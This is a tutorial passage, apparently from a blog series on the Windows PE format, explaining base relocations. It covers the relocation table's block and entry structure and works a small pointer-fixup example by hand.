When a program is compiled, the compiler assumes that the executable is going to be loaded at a certain base address, that address is saved in IMAGE_OPTIONAL_HEADER.ImageBase, some addresses get calculated then hardcoded within the executable based on the base address.
However for a variety of reasons, it’s not very likely that the executable is going to get its desired base address, it will get loaded in another base address and that will make all of the hardcoded addresses invalid.
A list of all hardcoded values that will need fixing if the image is loaded at a different base address is saved in a special table called the Relocation Table (a Data Directory within the .reloc section).
The process of relocating (done by the loader) is what fixes these values.
Let’s take an example, the following code defines an int variable and a pointer to that variable:
inttest=2;int*testPtr=&test;
During compile-time, the compiler will assume a base address, let’s say it assumes a base address of 0x1000, it decides that test will be located at an offset of 0x100 and based on that it gives testPtr a value of 0x1100.
Later on, a user runs the program and the image gets loaded into memory.
It gets a base address of 0x2000, this means that the hardcoded value of testPtr will be invalid, the loader fixes that value by adding the difference between the assumed base address and the actual base address, in this case it’s a difference of 0x1000 (0x2000 - 0x1000), so the new value of testPtr will be 0x2100 (0x1100 + 0x1000) which is the correct new address of test.
Relocation Table
As described by Microsoft documentation, the base relocation table contains entries for all base relocations in the image.
It’s a Data Directory located within the .reloc section, it’s divided into blocks, each block represents the base relocations for a 4K page and each block must start on a 32-bit boundary.
Each block starts with an IMAGE_BASE_RELOCATION structure followed by any number of offset field entries.
The IMAGE_BASE_RELOCATION structure specifies the page RVA, and the size of the relocation block.
Each offset field entry is a WORD, first 4 bits of it define the relocation type (check Microsoft documentation for a list of relocation types), the last 12 bits store an offset from the RVA specified in the IMAGE_BASE_RELOCATION structure at the start of the relocation block.
Each relocation entry gets processed by adding the RVA of the page to the image base address, then by adding the offset specified in the relocation entry, an absolute address of the location that needs fixing can be obtained.
The PE file I’m looking at contains only one relocation block, its size is 0x28 bytes:
We know that each block starts with an 8-byte-long structure, meaning that the size of the entries is 0x20 bytes (32 bytes), each entry’s size is 2 bytes so the total number of entries should be 16.